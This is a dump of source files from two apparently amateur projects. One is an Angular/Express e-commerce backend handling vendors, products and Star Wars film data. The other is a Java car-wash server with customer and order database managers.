PrimaryGeneratedColumn,
CreateDateColumn,
UpdateDateColumn,
OneToMany,
} from 'typeorm';
import { CommentModel } from './CommentModel';
// import { Comment } from './comment';
@Entity('movie')
export class MovieModel extends BaseEntity {
@PrimaryGeneratedColumn()
id: number;
@Column()
title: string;
@Column()
episode_id: number;
@Column()
opening_crawl: string;
@Column()
director: string;
@Column()
producer: string;
@Column({
type: 'date',
})
release_date: string;
@Column({ type: 'simple-array', default: [] })
characters: string[];
@CreateDateColumn({
type: 'date',
})
created: string;
@UpdateDateColumn({
type: 'date',
})
edited: string;
@Column()
url: string;
@OneToMany(() => CommentModel, (comment) => comment.movie)
comments: CommentModel[];
}
<file_sep>import { Request, Response, NextFunction } from 'express';
import axios from 'axios';
// import { WarRes } from 'src/interface/interface';
import { MovieModel } from '../entity/MovieModel';
import { createQueryBuilder } from 'typeorm';
export const movieList = async (
req: Request,
res: Response,
next: NextFunction
): Promise<Response | void> => {
try {
const movieResult = await MovieModel.find();
if (!movieResult.length) {
const movie = await axios.get('https://swapi.dev/api/films/');
if (movie) {
const movies = movie.data.results;
const movieList = movies.map(async (item: any) => {
const newMovie = MovieModel.create({
title: item.title,
episode_id: item.episode_id,
opening_crawl: item.opening_crawl,
director: item.director,
producer: item.producer,
release_date: item.release_date,
characters: item.characters,
created: item.created,
edited: item.edited,
url: item.url,
});
const movieData = await MovieModel.save(newMovie);
});
const result = await Promise.all(movieList);
return res.status(200).json({ results: movie });
}
}
return res.status(200).json({ results: movieResult });
} catch (error) {
console.log('error form get movies: ', error.message);
return res
.status(400)
.json({ message: 'Error Saving and retrieving Data' });
}
};
export const getOneMovie = async (
req: Request,
res: Response,
next: NextFunction
): Promise<Response | void> => {
try {
const { id } = req.params;
const movie = await MovieModel.findOne(id);
if (movie) {
return res.status(200).json({ result: movie });
} else {
return res.status(401).json({ msg: 'Not found' });
}
} catch (error) {
console.error(error);
throw new Error('Something went wrong');
}
};
export const getAllFilmQueried = async (req: Request, res: Response): Promise<Response | void> => {
try {
const movie = await createQueryBuilder(
'movie'
)
.select('movie.opening_crawl')
.addSelect('movie.title')
.addSelect('movie.release_date')
.from(MovieModel,'movie')
// .orderBy('movie.release_date', 'ASC');
.getMany()
return res.status(201).json({movie})
} catch (error) {
console.error(error)
throw new Error('Something went wrong')
}
}
export const getOneFilmQueried = async (req: Request, res: Response): Promise<Response | void> => {
try {
const {id} = req.params
const movie = await createQueryBuilder(
'movie'
)
.select('movie.opening_crawl')
.addSelect('movie.title')
.addSelect('movie.release_date')
.from(MovieModel,'movie')
.where("movie.id = :id", { id: parseInt(id)})
// .orderBy('movie.release_date', 'ASC');
.getOne()
return res.status(201).json({movie})
} catch (error) {
console.error(error)
throw new Error('Something went wrong')
}
}<file_sep># MAX-NG BACKEND SERVER
## Project setup
```
yarn
```
### Compiles and hot-reloads for development
```
yarn run dev
```
### Customize configuration
see env-example for environment variables
#### Upbase BackEnd Documentation
[Postman Documentation](https://documenter.getpostman.com/view/15415179/TzsWuW8X)
#### Max-NG BackEnd Heroku URL
[Heroku link](https://max-ng-backend-david.herokuapp.com/)
#### Created by <NAME>
[David (linkedin)](https://www.linkedin.com/in/davidenoragbon/)
## Work-done
### Created Endpoints for
- Getting Movie information and comment count
- Getting Character Information, sorting and filtering by name, height or gender.
- Post comment to database
## Work yet to be accomplished
- Retrieve all comments and date created from the database
- Adding and getting the public IP address of the commenter, UTC date and time, retrieving comments in reverse chronological order.
- More work to be done on getting the comment count.
<file_sep>import { MovieModel } from './MovieModel';
import {
CreateDateColumn,
UpdateDateColumn,
Entity,
BaseEntity,
Column,
PrimaryGeneratedColumn,
ManyToOne,
JoinColumn,
} from 'typeorm';
@Entity('comment')
export class CommentModel extends BaseEntity {
@PrimaryGeneratedColumn()
id: number;
@Column({ type: 'varchar', length: 500 })
comment: string;
@CreateDateColumn()
created_at: Date;
@UpdateDateColumn()
updated_at: Date;
@ManyToOne(() => MovieModel, (movie) => movie.comments)
@JoinColumn({
name: 'movie_id',
})
movie: MovieModel;
}
<file_sep>import axios from 'axios';
import { Request, Response } from 'express';
export const getMovieCharacter = async (req: Request, res: Response) => {
try {
const id = Number(req.params.id);
const name = req.query.name && (req.query.name as string);
const height = req.query.height && req.query.height;
const gender = req.query.gender as string;
if (id > 6 || id < 1)
return res
.status(404)
.json({ message: ' Id specified is not correct. Data not Found' });
const data = await axios.get(`https://swapi.dev/api/films/${id}`);
const result = data.data;
let characterArray = [];
let sortedData: any;
let heightCount = 0;
let heightInfo;
let originalResult;
for (let i = 0; i < result.characters.length; i++) {
let characterLink = result.characters[i];
let characterBio = await axios.get(characterLink);
characterArray.push(characterBio.data);
}
if (gender) {
characterArray = characterArray.filter((item) => {
return item.gender.toLocaleLowerCase() === gender.toLocaleLowerCase();
});
}
if (name || height) {
switch (name) {
case 'asc':
sortedData = characterArray.sort(
(a, b) => a.name[0].charCodeAt(0) - b.name[0].charCodeAt(0)
);
break;
case 'desc':
sortedData = characterArray.sort(
(a, b) => b.name[0].charCodeAt(0) - a.name[0].charCodeAt(0)
);
break;
}
switch (height) {
case 'asc':
sortedData = characterArray.sort(
(a, b) => parseInt(a.height) - parseInt(b.height)
);
break;
case 'desc':
sortedData = characterArray.sort(
(a, b) => parseInt(b.height) - parseInt(a.height)
);
break;
}
let totalNumberOfCharacters: number = sortedData.length;
for (let i = 0; i < totalNumberOfCharacters; i++) {
heightCount += parseInt(sortedData[i].height);
}
heightInfo = `${heightCount}cm makes ${Math.round(
heightCount / 30.48
)}ft and ${(heightCount / 2.54).toFixed(2)} inches`;
originalResult = {
totalNumberOfCharacters,
totalHeightOfCharacters: heightInfo,
characterInfo: sortedData,
};
return res.status(201).json(originalResult);
} else {
let totalNumberOfCharacters = characterArray.length;
for (let i = 0; i < characterArray.length; i++) {
heightCount += parseInt(characterArray[i].height);
}
heightInfo = `${heightCount}cm makes ${Math.round(
heightCount / 30.48
)}ft and ${(heightCount / 2.54).toFixed(2)} inches`;
originalResult = {
totalNumberOfCharacters,
totalHeightOfCharacters: heightInfo,
characterInfo: characterArray,
};
return res.status(200).json(originalResult);
}
} catch (error) {
console.log(error.message);
return res.status(400).json({ message: 'Error retrieving Data' });
}
};
<file_sep>export interface Character {
characterInfo: Record<string, any>[];
totalNumberOfCharacters: number;
totalHeightOfCharacters: string;
}
export interface WarRes {
id?: number;
movie_title: string;
opening_crawl: string;
comments?: string;
}
<file_sep>import express from 'express';
import { commentOnMovie } from '../controllers/createComment';
import { getOneMovie, movieList, getAllFilmQueried, getOneFilmQueried } from '../controllers/getMovies';
import { getMovieCharacter } from '../controllers/getMovieCharacters';
const router = express.Router();
router.post('/maxng/comment/:id', commentOnMovie);
router.get('/maxng/movie', movieList);
router.get('/maxng/query', getAllFilmQueried);
router.get('/maxng/query1/:id', getOneFilmQueried);
router.get('/maxng/movie/:id', getOneMovie);
router.get('/maxng/character/:id', getMovieCharacter);
export default router;
| 54c7faa6721988c4d9242ebb59609fcf26d3e258 | [
"Markdown",
"TypeScript"
] | 10 | TypeScript | maximdave/max-ng-backend | 9d6e1787f81c7cba4ff8a0794a6b8eb9a12ce541 | bef395fd9a16c25325540b8c5f419d25edfc1671 |
refs/heads/master | <file_sep>module.exports={
user:'<EMAIL>',
pass:'<PASSWORD>'
}<file_sep>fs = require('fs');
var ProductEntity=require('../../model/product-entity')
var ImageFolderPath = require('../../config/image-folder-path')
module.exports.findProducts=(req,res)=> {
console.log("@@@@@@@@@@@product@@@@@@@@@@@@@@");
ProductEntity.find({},function(err,data){
console.log(data);
res.status(200).json(data);
});
}
module.exports.getImage = (req,res) =>{
console.log('its routing');
var url = req.params.imageUrl;
var imagePath = appRoot + "/" + ImageFolderPath.PRODUCTS_IMAGES +"/" + url;
fs.readFile(imagePath,(err,data)=>{
if (err){
console.log(err)
return res.status(500).json({status:"fail",message:"Sorry!! image not found"});
}
res.writeHead(200,{'Content-Type':'image/jpeg'});
res.end(data);
});
}
module.exports.postProducts =(req,res)=>{
var product = req.body;
var productEntity = new ProductEntity();
let pphoto = req.files.photo;
for (key in product){
productEntity[key] = product[key];
}
var imgext = pphoto.name.substring(pphoto.name.length-4);
var pphototName = ImageFolderPath.PRODUCTS_IMAGES+"/"+ product.pid+"_product"+imgext;
productEntity.imageUrl = pphototName;
console.log(appRoot + "/src/" + productEntity.imageUrl);
pphoto.mv(appRoot + "/src/" + productEntity.imageUrl, function(err){
if(err){
console.log(err);
return res.status(500).json({status:"fail",message:"Sorry!! product profile image is not save"});
}else{
productEntity.save(err =>{
if(err){
console.log(err);
return res.status(200).json({status:"fail",message:"couldn't save to database"});
}else{
return res.status(200).json({status:"success",message:"product sucessfully saved"})
}
});
}
});
}
module.exports.getProduct = (req,res)=>{
var pid = req.params.pid;
ProductEntity.find({pid:pid}, (err,data)=>{
if(err){
return res.status(404).send({
status:"fail",
message: "Product not found with pid " + pid
});
}
return res.status(200).json(data);
});
}
<file_sep>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders, HttpRequest } from '@angular/common/http';
import { Observable } from 'rxjs';
import { AppConfig } from '../config/app.config';
import { Product } from '../model/product';
@Injectable({
providedIn: 'root'
})
export class ProductService {
constructor(private http: HttpClient) { }
public uploadProduct(data:Product, selectedFile:File):Observable<any>{
const httpOptions = {headers:new HttpHeaders({'Content-Type':'application/json'})};
const endpoint = AppConfig.PRODUCT_ENDPOINT;
let formdata: FormData = new FormData();
Object.keys(data).map((key)=>{
if(key == 'techSpecs'){
formdata.append(key,JSON.stringify(data[key]));
}else{
formdata.append(key,data[key]+"");
}
});
formdata.append('photo',selectedFile);
const req = new HttpRequest('POST',endpoint,formdata,{reportProgress: true,responseType:'text'});
return this.http.request(req);
}
public getProducts():Observable<Product[]>{
const endpoint = AppConfig.PRODUCT_ENDPOINT;
return this.http.get<Product[]>(endpoint);
}
public getProductByPid(data):Observable<Product[]>{
const endpoint = AppConfig.PRODUCT_ENDPOINT+'/'+data;
return this.http.get<Product[]>(endpoint);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { ProductService } from 'src/app/services/product.service';
import { Product } from 'src/app/model/product';
@Component({
selector: 'app-new-product-area',
templateUrl: './new-product-area.component.html',
styleUrls: ['./new-product-area.component.css']
})
export class NewProductAreaComponent implements OnInit {
private trendingProducts:Product[]=[];
private hotDealsProducts:Product[]=[];
public toShow:Boolean=true;
constructor(private productService:ProductService) { }
ngOnInit() {
this.productService.getProducts().subscribe(products=>{
var products1=products;
this.sortByRatings(products);
this.sortByDiscount(products1);
});
}
public sortByRatings(products) {
products.sort(function(a, b){
return b.ratings-a.ratings;
});
for (var i=0; i<6; ++i) {
this.trendingProducts[i]=products[i];
}
// console.log("trendingProducts:")
// console.log(this.trendingProducts);
}
public sortByDiscount(products) {
products.sort(function(a, b){
return (a.price/a.sprice)-(b.price/b.sprice);
});
for (var i=0; i<6; ++i) {
this.hotDealsProducts[i]=products[i];
}
// console.log("hotDeals")
// console.log(this.hotDealsProducts);
}
}
<file_sep>export class AppConfig{
public static BASE_ENDPOINT = 'http://localhost:4000/v3';
public static LOGIN_ENDPOINT = AppConfig.BASE_ENDPOINT + '/login';
public static PRODUCT_ENDPOINT = AppConfig.BASE_ENDPOINT + '/admin/products';
public static VENDOR_ENDPOINT = AppConfig.BASE_ENDPOINT + '/admin/vendors';
public static VENDOR_IMAGE_ENDPOINT = AppConfig.BASE_ENDPOINT +"/admin/vendor-image"
public static VENDOR_BY_CODE = AppConfig.BASE_ENDPOINT +"/admin/vendor-by-code";
public static ADVERTISEMENT_ENDPOINT = AppConfig.BASE_ENDPOINT +"/admin/advertisement";
//public static IMAGE_ENDPOINT = AppConfig.PROFILES_ENDPOINT + '/images';
}<file_sep>
var VendorController=require('../controller/admin/vendor-controller')
module.exports=function(endPoint){
//Mapping for add profile
//@RequestMapping(value="profiles",method=RequestMethod.POST)
endPoint.get("/admin/vendors",VendorController.findVendors);
endPoint.get("/admin/vendor-image",VendorController.imageLoader);
endPoint.post("/admin/vendors",VendorController.saveVendor);
endPoint.delete("/admin/vendors", VendorController.deleteVendor);
endPoint.patch("/admin/vendors", VendorController.editVendor);
endPoint.get("/admin/vendor-by-code",VendorController.findByVcode);
};
<file_sep>
var VendorEntity=require('../../model/vendor-entity');
var ImageFolderPath=require('../../config/image-folder-path');
var EmailService=require('../../service/email-service');
module.exports.findVendors=(req,res)=> {
//console.log("@@@@@@@@@@@findVendors@@@@@@@@@@@@@@");
VendorEntity.find({},function(err,data){
//console.log(data);
res.status(200).json(data);
});
}
module.exports.saveVendor =(req,res)=>{
console.log("___________________");
//console.log(req);
var vendor = req.body;
console.log(vendor);
//reading the image coming from client as a request
let pphoto = req.files.photo;
console.log("Printing the image!!!!!!!!!!!!!");
console.log(pphoto.name); // name of the image
// console.log(pphoto.data); //image as a byte array
var vendorEntity = new VendorEntity();
for (key in vendor) {
vendorEntity[key] = vendor[key]; // copies each property to the vendorEntity object
}
vendorEntity.userid=vendor.userid;
//saving image location into the database!
var imgtext=pphoto.name.substring(pphoto.name.length-4);//retreiving the image type: .jpg, .png, etc
//console.log("imgtext "+imgtext);
var pphotoName=vendor.vcode+"_profile"+imgtext;
//console.log(pphotoName);
//this is just image path which we will save into the database
vendorEntity.photo=ImageFolderPath.VENDOR_PROFILES+"/"+pphotoName;
//console.log(appRoot +"/"+ImageFolderPath.VENDOR_PROFILES+"/"+pphotoName);
//----------------------------------------------------------------------------------------------------//
//saving file on server file system
pphoto.mv(appRoot +"/"+ImageFolderPath.VENDOR_PROFILES+"/"+pphotoName, function(err) {
if(err){
console.log(err);
res.status(500).json({status:"fail",message:"Sorry!! vendor profile image is not saved"});
}else{
vendorEntity.save(err =>{
if(err){
console.log(err);
return res.status(200).json({status:"fail",message:"couldn't save to database"});
}else{
EmailService.sendVendorConfiramtionEmail(vendorEntity.email);
return res.status(200).json({status:"success",message:"vendor sucessfully saved"})
}
}); //end of save entity
}
}); //end of mv method
}
module.exports.deleteVendor =function (req,res) {
var vendorCode=req.query;
console.log("From Controller: ");
console.log(vendorCode);
VendorEntity.find({vcode:vendorCode.vcode}).remove().exec();
res.status(200).json({status:"success",message:"vendor sucessfully deleted!"});
}
module.exports.editVendor =function (req,res) {
let vendorPhoto=req.files;
var vendor = req.body;
console.log("inside the backend........");
console.log(vendor);
if(!vendorPhoto) { //if the photo is NOT being updated
console.log("no image found!!!!");
let venPhoto={};
VendorEntity.find({vcode:vendor.vcode}).then(vendor=>{
venPhoto.data=vendor[0].photo.data;
venPhoto.contentType=vendor[0].photo.contentType;
console.log(venPhoto);
})
VendorEntity.updateOne({vcode: vendor.vcode}, {
$set: {
name: vendor.name,
mobile: vendor.mobile,
email: vendor.email,
address: vendor.address,
comment: vendor.comment,
dom: vendor.dom
}
}, function(err, data) {
if(err){
console.log(err);
}
});
}
else { //if updated the photo
console.log("Image found!!!!");
console.log("PHOTO: "+vendorPhoto.name);
var imgtext=vendorPhoto.photo.name.substring(vendorPhoto.photo.name.length-4);
var pphotoName=vendor.vcode+"_profile"+imgtext;
console.log(pphotoName);
//this is just image path which we will save into the database
var venPhoto=ImageFolderPath.VENDOR_PROFILES+"/"+pphotoName;
vendorPhoto.photo.mv(appRoot+'/'+venPhoto, function(err, data){
if(err) {
console.log(err);
res.status(500).json({status:"fail",message:"ERROR: Unable to save the vendor profile."});
} else {
console.log()
VendorEntity.updateOne({vcode: vendor.vcode}, {
$set: {
name: vendor.name,
mobile: vendor.mobile,
email: vendor.email,
address: vendor.address,
comment: vendor.comment,
doe: vendor.doe,
dom: vendor.dom,
photo: {venPhoto}
}
}, function(err) {
if (err) {
console.log(err);
res.status(500).json({status:"fail",message:"ERROR: Unable to edit the vendor profile."});
} else {
res.status(200).json({status:"success",message:"Vendor Data successfully updated."});
}
});
}
});
}
}
module.exports.imageLoader=(req, res) =>{
var vencode=req.query.vcode;
console.log(vencode);
//var reader = new FileReader();
if(vencode==undefined){
return;
}
VendorEntity.find({vcode: vencode}).then(function(vendor){
console.log("FINDING IMAGE FOR: "+vendor);
res.contentType("image/png");
var venPhoto=appRoot+'/'+vendor[0].photo;
//venPhoto
return res.send(reader.readAsDataURL(venPhoto));
}).catch(err=>{
console.log(err);
});
};
module.exports.findByVcode=(req, res) =>{
let vencode=req.query.vcode;
console.log("FROM findByVcode: "+vencode);
VendorEntity.find({vcode:vencode}).then(vendor=>{
return res.send(vendor[0]);
})
}<file_sep>import { Component, OnInit, ViewChild } from '@angular/core';
import { Vendor } from 'src/app/model/vendor';
import { VendorService } from 'src/app/services/vendor.service';
import { EditVendorComponent } from '../edit-vendor/edit-vendor.component';
@Component({
selector: 'app-vendor-list',
templateUrl: './vendor-list.component.html',
styleUrls: ['./vendor-list.component.css']
})
export class VendorListComponent implements OnInit {
public vendorList:Vendor[]=[];
constructor(private vendorService:VendorService) { }
ngOnInit() {
this.vendorService.findVendors().subscribe(data => {
for(var key in data) {
this.vendorList.push(data[key]);
}
});
}
onNotifyForDelete(vendorcode:string):void {
this.vendorService.deleteVendor(vendorcode).subscribe(data => {
console.log(data);
if(data.status=='success'){
this.vendorList=this.vendorList.filter(v=>v.vcode!==vendorcode);
console.log(this.vendorList);
}
});
}
}
<file_sep>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders, HttpRequest } from '@angular/common/http';
import { Observable } from 'rxjs';
import { AppConfig } from '../config/app.config';
import { Vendor } from '../model/vendor';
@Injectable({
providedIn: 'root'
})
export class VendorService {
endpoint:string = AppConfig.VENDOR_ENDPOINT;
constructor(private http: HttpClient) { }
public addVendor(vendor:Vendor, photo:File):Observable<any>{
console.log("-----service layer method is called!!!!!!!!!!!");
console.log(vendor);
console.log(photo);
const httpOptions = {headers:new HttpHeaders({'Content-Type':'application/json'})};
let formdata: FormData = new FormData();
formdata.append('vcode', vendor.vcode+"");
formdata.append('name', vendor.name+'');
formdata.append('email', vendor.email+'');
formdata.append('mobile', vendor.mobile+'');
formdata.append('comment', vendor.comment+'');
formdata.append('address', vendor.address+'');
formdata.append('photo', photo);
//return this.http.post(this.endpoint,formdata,httpOptions);
const req = new HttpRequest('POST', this.endpoint, formdata, {
reportProgress: true,
responseType: 'text'
});
return this.http.request(req);
}
public findVendors():Observable<Vendor>{
return this.http.get<Vendor>(this.endpoint);
}
public deleteVendor(vcode):Observable<any>{
console.log("From Service Layer: ");
return this.http.delete(this.endpoint);
}
public editVendor(vendor:Vendor, photo:File):Observable<any>{
let formdata: FormData = new FormData();
formdata.append('vcode', vendor.vcode+"");
formdata.append('name', vendor.name+'');
formdata.append('email', vendor.email+'');
formdata.append('mobile', vendor.mobile+'');
formdata.append('comment', vendor.comment+'');
formdata.append('address', vendor.address+'');
formdata.append('photo', photo);
//return this.http.post(this.endpoint,formdata,httpOptions);
const req = new HttpRequest('PATCH', this.endpoint, formdata, {
reportProgress: true,
responseType: 'text'
});
return this.http.request(req);
}
public imageLoader(vendor:Vendor):Observable<any>{
const imageEndpoint = AppConfig.VENDOR_IMAGE_ENDPOINT+"?vcode="+vendor.vcode;
return this.http.get(imageEndpoint);
}
public findVendorByCode(vcode:String):Observable<any>{
let findendpoint=AppConfig.VENDOR_BY_CODE+'?vcode='+vcode;
return this.http.get(findendpoint);
}
}
<file_sep>module.exports={
VENDOR_PROFILES:"src/assets/img/vendor/profiles",
PRODUCTS_IMAGES:"assets/img/products-upload",
AD_IMAGES:"assets/img/advertisement"
};<file_sep>import { Component, OnInit, Input, Output, EventEmitter } from '@angular/core';
import { Vendor } from 'src/app/model/vendor';
import { Router } from '@angular/router';
import { Binary } from '@angular/compiler';
import { VendorService } from 'src/app/services/vendor.service';
import { Observable } from 'rxjs';
import { AppConfig } from 'src/app/config/app.config';
import { APP_ROOT } from '@angular/core/src/di/scope';
@Component({
selector: 'app-vendor-details',
templateUrl: './vendor-details.component.html',
styleUrls: ['./vendor-details.component.css']
})
export class VendorDetailsComponent implements OnInit {
@Input("pitem")
vendorDetails:Vendor;
public imageUri:string="";
public root:string="/Users/sumedhabalusu/Documents/my-node-workspace/ecommer-code-dynamic-dashboard";
@Output()
notifyForDelete: EventEmitter<string> = new EventEmitter<string>();
constructor(private router:Router, private service:VendorService) {
}
ngOnInit() {
this.imageUri=this.vendorDetails.photo.substring(4, this.vendorDetails.photo.length);
console.log(this.imageUri);
// this.service.imageLoader(this.vendorDetails).subscribe(data=>{
// this.image=data;
// console.log(this.image);
// });
}
public deleteVendor():void {
this.notifyForDelete.emit(this.vendorDetails.vcode.toString());
}
public editVendor():void {
this.router.navigate(['edit-vendor', {vcode:this.vendorDetails.vcode}]);
}
}
| e81a25dad9f4c6f274fde4688c7ebf6dc7663547 | [
"JavaScript",
"TypeScript"
] | 11 | JavaScript | sumedha-b/web-store-project | cffa24a94908fb7e2e4b115e5dbd32354df87858 | 6968a4d07114d2203efad1fd80a54785b71246fb |
refs/heads/master | <repo_name>wigiels14/CarWashServer<file_sep>/src/main/java/database/OrderDatabaseManager.java
package database;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import server.Server;
public class OrderDatabaseManager implements DatabaseManager {
public void createOrder(String vehicleID) {
String query = "SELECT create_order(?);";
PreparedStatement myStatement;
ResultSet queryResult = null;
int result = Integer.decode(vehicleID);
System.out.println(result);
try {
myStatement = Server.complexDatabaseManager.CONNECTION.prepareStatement(query);
myStatement.setInt(1, result);
queryResult = myStatement.executeQuery();
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public void changeOrderState(String orderID, String state) {
String query = "SELECT change_order_status(?,?);";
PreparedStatement myStatement;
ResultSet queryResult = null;
int result = Integer.decode(orderID);
System.out.println(result);
try {
myStatement = Server.complexDatabaseManager.CONNECTION.prepareStatement(query);
myStatement.setInt(1, result);
myStatement.setString(2, state);
queryResult = myStatement.executeQuery();
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public String getOrderByVehicleID(String vehicleID) {
String query = "SELECT ID FROM ORDERS WHERE VEHICLE_ID = ?";
PreparedStatement myStatement;
ResultSet queryResult = null;
int result = Integer.decode(vehicleID);
try {
myStatement = Server.complexDatabaseManager.CONNECTION.prepareStatement(query);
myStatement.setInt(1, result);
queryResult = myStatement.executeQuery();
String id = null;
while (queryResult.next()) {
id = queryResult.getString("ID");
}
return id;
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
public ArrayList<String[]> getOrdersByCustomerID(String customerID) {
ArrayList<String[]> resArrayList = new ArrayList<String[]>();
String query = "SELECT ID, VEHICLE_ID, STATE FROM ORDERS"
+ " WHERE VEHICLE_ID IN (SELECT ID FROM VEHICLE WHERE CUSTOMER_ID = ?);";
PreparedStatement myStatement;
ResultSet queryResult = null;
int result = Integer.decode(customerID);
try {
myStatement = Server.complexDatabaseManager.CONNECTION.prepareStatement(query);
myStatement.setInt(1, result);
queryResult = myStatement.executeQuery();
String id = null, vehicleID = null, state = null;
int iterator = 0;
while (queryResult.next()) {
id = queryResult.getString("ID");
vehicleID = queryResult.getString("VEHICLE_ID");
state = queryResult.getString("STATE");
String[] resString = { id, vehicleID, state };
resArrayList.add(resString);
}
return resArrayList;
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
public String[] fetchOrdersByID(String orderID) {
ArrayList<String[]> resArrayList = new ArrayList<String[]>();
String query = "SELECT ID, VEHICLE_ID, STATE FROM ORDERS"
+ " WHERE ID=?;";
PreparedStatement myStatement;
ResultSet queryResult = null;
int result = Integer.decode(orderID);
try {
myStatement = Server.complexDatabaseManager.CONNECTION.prepareStatement(query);
myStatement.setInt(1, result);
queryResult = myStatement.executeQuery();
String id = null, vehicleID = null, state = null;
int iterator = 0;
while (queryResult.next()) {
id = queryResult.getString("ID");
vehicleID = queryResult.getString("VEHICLE_ID");
state = queryResult.getString("STATE");
String[] resString = { id, vehicleID, state };
return resString;
}
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
public ArrayList<String> fetchEmployeeOrder(String employeeID) {
ArrayList<String> resArrayList = new ArrayList<String>();
String query = "SELECT ORDERS_ID from ORDERS_CAR_STATION_EMPLOYEES WHERE CAR_STATION_EMPLOYEE_ID = ?";
PreparedStatement myStatement;
ResultSet queryResult = null;
int result = Integer.decode(employeeID);
try {
myStatement = Server.complexDatabaseManager.CONNECTION.prepareStatement(query);
myStatement.setInt(1, result);
queryResult = myStatement.executeQuery();
String id = null, vehicleID = null, state = null;
int iterator = 0;
while (queryResult.next()) {
id = queryResult.getString("ORDERS_ID");
resArrayList.add(id);
}
return resArrayList;
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
public void createServiceOrders(String serviceID, String orderID) {
String query = "SELECT create_service_orders(?,?)";
PreparedStatement myStatement;
ResultSet queryResult = null;
try {
myStatement = Server.complexDatabaseManager.CONNECTION.prepareStatement(query);
myStatement.setInt(1, Integer.decode(serviceID));
myStatement.setInt(2, Integer.decode(orderID));
queryResult = myStatement.executeQuery();
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public ArrayList<String[]> fetchServiceOrdersByCustomerID(String customerID) {
ArrayList<String[]> resArrayList = new ArrayList<String[]>();
String query = "SELECT SERVICE_ID, ORDER_ID FROM SERVICE_ORDERS " + "WHERE ORDER_ID IN(SELECT ID FROM ORDERS "
+ " WHERE VEHICLE_ID IN (SELECT ID FROM VEHICLE WHERE CUSTOMER_ID = ?));";
PreparedStatement myStatement;
ResultSet queryResult = null;
int result = Integer.decode(customerID);
try {
myStatement = Server.complexDatabaseManager.CONNECTION.prepareStatement(query);
myStatement.setInt(1, result);
queryResult = myStatement.executeQuery();
String serviceID = null, orderID = null;
int iterator = 0;
while (queryResult.next()) {
serviceID = queryResult.getString("SERVICE_ID");
orderID = queryResult.getString("ORDER_ID");
String[] resString = { serviceID, orderID };
resArrayList.add(resString);
}
return resArrayList;
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
public ArrayList<String[]> fetchNotTakenOrders(String service) {
ArrayList<String[]> resArrayList = new ArrayList<String[]>();
String query = "SELECT ID, VEHICLE_ID, STATE FROM ORDERS" + " WHERE ID IN (SELECT ORDER_ID FROM SERVICE_ORDERS"
+ " WHERE SERVICE_ID IN (SELECT ID FROM SERVICE WHERE service_type = ?)" + " EXCEPT"
+ " SELECT ORDER_ID FROM SERVICE_ORDERS"
+ " WHERE ORDER_ID IN (SELECT ORDERS_ID FROM ORDERS_CAR_STATION_EMPLOYEES));";
PreparedStatement myStatement;
ResultSet queryResult = null;
try {
myStatement = Server.complexDatabaseManager.CONNECTION.prepareStatement(query);
myStatement.setString(1,service);
queryResult = myStatement.executeQuery();
String id = null, vehicleID = null, state = null;
int iterator = 0;
while (queryResult.next()) {
id = queryResult.getString("ID");
vehicleID = queryResult.getString("VEHICLE_ID");
state = queryResult.getString("STATE");
String[] resString = { id, vehicleID, state };
resArrayList.add(resString);
}
return resArrayList;
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
}
<file_sep>/src/main/java/database/CustomerAccountDatabaseManager.java
package database;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import server.Server;
public class CustomerAccountDatabaseManager implements DatabaseManager {
private final CustomerAccountManagerProxy customerAccountManagerProxy;
public CustomerAccountDatabaseManager() {
customerAccountManagerProxy = new CustomerAccountManagerProxy();
}
class CustomerAccountManagerProxy {
private boolean isCustomerInSystemDatabase(String idNumber,
String password) {
String query = "SELECT COUNT(*) AS amount FROM CUSTOMER WHERE ID_NUMBER = ? AND CUSTOMER_PASSWORD = ?";
PreparedStatement myStatement;
ResultSet queryResult = null;
try {
myStatement = Server.complexDatabaseManager.CONNECTION
.prepareStatement(query);
myStatement.setString(1, idNumber);
myStatement.setString(2, password);
queryResult = myStatement.executeQuery();
while (queryResult.next()) {
String resultString = queryResult.getString("amount");
if (resultString.equals("1")) {
return true;
}
}
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;
}
private void changeAccountBalance(String customerID,
String accountBalace) {
String query = "SELECT update_customer_balance(?,?);";
PreparedStatement myStatement;
ResultSet queryResult = null;
try {
myStatement = Server.complexDatabaseManager.CONNECTION
.prepareStatement(query);
double doubleBalance = Double.parseDouble(accountBalace);
myStatement.setInt(1, Integer.decode(customerID));
myStatement.setInt(2, (int) doubleBalance);
queryResult = myStatement.executeQuery();
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
private boolean isCustomerAlreadyRegistered(String idNumber) {
String query = "SELECT COUNT(*) AS amount FROM CUSTOMER WHERE ID_NUMBER = ?";
PreparedStatement myStatement;
ResultSet queryResult = null;
try {
myStatement = Server.complexDatabaseManager.CONNECTION
.prepareStatement(query);
myStatement.setString(1, idNumber);
queryResult = myStatement.executeQuery();
while (queryResult.next()) {
String resultString = queryResult.getString("amount");
if (resultString.equals("1")) {
return true;
}
}
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;
}
String[] fetchCustomer(String idNumber) {
String query = "SELECT ID, CUSTOMER_PASSWORD, FIRST_NAME, LAST_NAME, PESEL, ACCOUNT_BALLANCE"
+ " FROM CUSTOMER WHERE ID_NUMBER = ?";
PreparedStatement myStatement;
ResultSet queryResult = null;
try {
myStatement = Server.complexDatabaseManager.CONNECTION
.prepareStatement(query);
myStatement.setString(1, idNumber);
queryResult = myStatement.executeQuery();
String id = null, customerPassword = null, firstName = null, lastName = null, pesel = null, accountBalance = null;
while (queryResult.next()) {
id = queryResult.getString("ID");
customerPassword = queryResult
